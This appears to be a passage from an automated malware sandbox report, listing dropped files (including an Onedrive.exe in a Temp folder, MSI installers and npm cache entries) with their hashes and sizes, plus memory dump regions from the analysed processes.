                  e0a531a3a869f2c3bb1ea91801a8a386d6aaf73e

                  SHA256

                  21b46c69ad6e2f231f02a9e120f4ba6c8e75fef5a45637103002eab99f888ab8

                  SHA512

                  0cdaa6bbeefeabf676839d88e96a096b13b9176bd936e11665ebf01e57540e131981a7bee4f113d2b5bd6858656f7cb689d29ee81d9f9e8d7f87d2d91e041ac0

                  Download Submit

                • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js website.url
                  Filesize

                  133B

                  MD5

                  35b86e177ab52108bd9fed7425a9e34a

                  SHA1

                  76a1f47a10e3ab829f676838147875d75022c70c

                  SHA256

                  afaa6c6335bd3db79e46fb9d4d54d893cee9288e6bb4738294806a9751657319

                  SHA512

                  3c8047c94b789c8496af3c2502896cef2d348ee31618893b9b71244af667ec291dcb9b840f869eb984624660086db0c848d1846aa601893e6f9955e56da19f62

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
                  Filesize

                  471B

                  MD5

                  8609d5c3fa44709827e592987187beb6

                  SHA1

                  aebc7012064c9b2d3a70eb1881faf96b0669690a

                  SHA256

                  3b333a05451478a99b4eb6b1592c7eb3dec8deecffeba532cc4b50022c09d9a9

                  SHA512

                  af966cfe87543a14804305560de363fe5cb4ddabeed8ec3478fb56afe2a57b143a7eb88b32320eb83ed3145a16783bd43779cd39472f5cf0cad26059ee71de0c

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4
                  Filesize

                  727B

                  MD5

                  d33f7f977be96f735d2b20cade6bf7b0

                  SHA1

                  b8fa163b2fcdfeeda072dc49d8b0a63d4627fd0d

                  SHA256

                  f63af8422aa72ffbcc7888722b97b46d45fb7549093a7e55e1c396648ba180bc

                  SHA512

                  02ed6f4cddc8219d806b072dbed602f3da612cc66d6658939fac648014d4d36bc8f58f67c5c781da67f9493bb04168eb72a1d1fa40af2cf359c7a8ed2f0a45d5

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
                  Filesize

                  727B

                  MD5

                  aba5b9d7e455427de870b734b26174f9

                  SHA1

                  851d6031ad01148207cb6a153664d172c57e4ebc

                  SHA256

                  09c0f4b7fe948af3ea0d4da2350b6f43420fd05e24b09c7ffdb375394dbff45c

                  SHA512

                  f63744c8cd9d4fac3c710e48cd3f94ac03338176be263f06cad2bf9a9df0a2414548d48372713812f3eb46357a76adf80a8d7cd216cb6eee6041e718907b2311

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
                  Filesize

                  400B

                  MD5

                  e6edd9ef58f52105f36eb9e2eeee70b1

                  SHA1

                  1c8716eb247a7d7b0ba22511ec286c3166f89f65

                  SHA256

                  e933ba6663e04a0381636db11d79d1e3a7352eff1fb2c7ebce4fa17a6431ae08

                  SHA512

                  e506391bd8d1feeb7836011c990181ad35809d137a119ce8c97d5a5d5a789e2edd4b53aeaffa6989b4f592d2cb95e3353a81c926221d8e9fb6ce9d30866a323f

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4
                  Filesize

                  404B

                  MD5

                  6354f197930dbcc15d2f9d9f70925746

                  SHA1

                  bb5ddc41d56107cc521565c55592de5ac899e17f

                  SHA256

                  00a4039b0dc48b389253626e4d0b85c4a1f6b3b2388dc032d40e733e03ae054e

                  SHA512

                  a408bd0c99c8bd3f4fbc8f34630b4d4584cb847cd08359bfdc7fab489a0fa0c92bea1fb989ff102a94f38dcb86e6f9aad44ace5b9d66bf6d19478ee0173ea123

                  Download Submit

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
                  Filesize

                  412B

                  MD5

                  d73c1be795478d483c6b9f37b7d4f34c

                  SHA1

                  a2d02532a632c9fc1912f743b5385ea82a46c70a

                  SHA256

                  9ad3e6276d38afac7522b40ea2c2c1a6865608bea3056675892d2c136b35878f

                  SHA512

                  6a08c8b5f03627287cf55d0beec7bbff47428569f5776d6d68ba5e798383fd553e559607e42a96f18bd9e8d06e226807a1ee4e0d34b084b317d4c3c42b70cf1c

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\MSI8E07.tmp
                  Filesize

                  144KB

                  MD5

                  7fa9d662d634534d7c2240dd126bdeee

                  SHA1

                  bd01e22ed2da0d0d485824b372ac67da683863d2

                  SHA256

                  c0e8683b697b3c6e55deb4497d3434d6e2cc841eb8c9a1b7d3f8907cff7de206

                  SHA512

                  cbc737e3eb94151c9dacaa5ee780cb550176ca2be2e0c66925884b5bc6222b7bcde5ed66e881f2a76f3d26edf5331abf0e74c819ad4f5fd7d0819bc4c138bb81

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\MSI8EC4.tmp
                  Filesize

                  390KB

                  MD5

                  80bebea11fbe87108b08762a1bbff2cd

                  SHA1

                  a7ec111a792fd9a870841be430d130a545613782

                  SHA256

                  facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

                  SHA512

                  a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
                  Filesize

                  3.2MB

                  MD5

                  7056e050ebbfca6ae325797d51eb2d0a

                  SHA1

                  055cd6e4bde3449d72f7061620647ecb73d6b9cd

                  SHA256

                  c316b0b818125541a90d7110af8c0908a8d6c73d3b846a27aed647fab6b38e00

                  SHA512

                  0c54802ad35f5a00c5db1195df2d566bc18a384f486cc3ca00dc63bb86e3fc5d105192cfe5efe9ed62bdedb441877486ec7aedbd7a6bf59fcda2f772308b150e

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54paplem.g5r.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  Download Submit

                • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\37b1a371
                  Filesize

                  7KB

                  MD5

                  3bcba958c6b6f93281ecae10d9487373

                  SHA1

                  d8215f38b885ddd8635c0ea338210f068e4781ee

                  SHA256

                  3936cd62847ce2f4e3cc2ab3633de5d02f02fbcf204fd52c03bd7ee7db55e169

                  SHA512

                  febf37c6c84f2c2c3138c50cc21580fffef19f2fe554145712c8f5f8a02827c48268a23fbeeebc48224571c46505484e0ae44924f614d416d691ba1004feb007

                  Download Submit

                • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\98c85734
                  Filesize

                  63KB

                  MD5

                  07390bd72e781a17aadc776f76bb1cbc

                  SHA1

                  98f56ef599b709a37ae99d902f14e14270758b81

                  SHA256

                  c371d1ec7b22b1b04af10f44e5cf3485c2cfc1cfedd7f2e13b11179c0efa349e

                  SHA512

                  e96ebace4d4f907e38965a11ca1b11865d27c0d77ac431614bb73cca3aa503c0dd4e553421d15210bc09a91f817d280d63b03a2d61cc33c3a8876320e6589435

                  Download Submit

                • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\c2eb5304
                  Filesize

                  186KB

                  MD5

                  7d8404695a53f470f2b060adae165dae

                  SHA1

                  13de10a067a92352f00348c0817af32858468281

                  SHA256

                  3a4941937fdf971ccee65825a86187afe121b3512f54f786f0d6f0b5d513608b

                  SHA512

                  064e963432ff2c9f7f8ef69f5b3de26f7c964e71fbecfa665b69b81550927e1a8415142e5dee40b4fa4212501f6f410ac0bbf2faafcfa94a0f2ca35328e22dad

                  Download Submit

                • C:\Windows\Installer\MSI1D8B.tmp
                  Filesize

                  341KB

                  MD5

                  74528af81c94087506cebcf38eeab4bc

                  SHA1

                  20c0ddfa620f9778e9053bd721d8f51c330b5202

                  SHA256

                  2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34

                  SHA512

                  9ce76594f64ea5969fff3becf3ca239b41fc6295bb3abf8e95f04f4209bb5ccddd09c76f69e1d3986a9fe16b4f0628e4a5c51e2d2edf3c60205758c40da04dae

                  Download Submit

                • C:\Windows\Installer\e57ea6f.msi
                  Filesize

                  28.9MB

                  MD5

                  fa9e1f3064a66913362e9bff7097cef5

                  SHA1

                  b34f1f9a9f6242c54486a4bc453a9336840b4425

                  SHA256

                  9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

                  SHA512

                  ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

                  Download Submit

                • \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                  Filesize

                  24.6MB

                  MD5

                  089cc1fe828185d6dc7658492ed0337b

                  SHA1

                  54cfc08791c3572e1c72796bc5af824d7a9dd59e

                  SHA256

                  83bc10dbc4be286b1133056bdf8b230ca7e849090fe39405db9380005ada7fd7

                  SHA512

                  e0fa89af8b80bc6610f739e754e780e23f14b5afeb60f507de0ef55be8051799f8b3c5e31a15b0c166a05d193673185d12649e7354fd8ee96f1b364a4d0fab16

                  Download Submit

                • \??\Volume{d7b304fe-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2dd10c38-e9f6-405a-a3e8-9c3bf96d93e1}_OnDiskSnapshotProp
                  Filesize

                  6KB

                  MD5

                  a900db98c3e841ec0b46c187b9d95432

                  SHA1

                  ca4c3691d743754597bfa8831e5a8631c8d41e02

                  SHA256

                  0018cae5f0848087d83e108e820ffe71c16d90ecd94ad40747f6d18873351634

                  SHA512

                  12e8954e26974d50a76c16e76d734015fd19481fc199462f2a7737e6e5183f47d90a37c56dd56cd76ca4eef5602a103a32034c5c3e660aa5404a41527344fbd8

                  Download Submit

                • memory/1004-3153-0x0000016E4A080000-0x0000016E4A08A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/1004-3154-0x0000016E4A320000-0x0000016E4A328000-memory.dmp

                  Filesize

                  32KB

                  Download

                • memory/1408-3195-0x000000001B5C0000-0x000000001B5FC000-memory.dmp

                  Filesize

                  240KB

                  Download

                • memory/1408-3194-0x000000001B560000-0x000000001B572000-memory.dmp

                  Filesize

                  72KB

                  Download

                • memory/1408-3193-0x000000001C130000-0x000000001C1E2000-memory.dmp

                  Filesize

                  712KB

                  Download

                • memory/1408-3192-0x0000000002B30000-0x0000000002B80000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/2852-3188-0x0000000000C70000-0x0000000000FAC000-memory.dmp

                  Filesize

                  3.2MB

                  Download

                • memory/2988-3134-0x000001E1F5BB0000-0x000001E1F5BD2000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/3768-3123-0x0000000000F60000-0x0000000000F6A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/4560-3177-0x000001C450660000-0x000001C450684000-memory.dmp

                  Filesize

                  144KB

                  Download

                • memory/4560-3176-0x000001C450660000-0x000001C45068A000-memory.dmp

                  Filesize

                  168KB

                  Download

                • memory/4560-3174-0x000001C437BE0000-0x000001C437BE8000-memory.dmp

                  Filesize

                  32KB

                  Download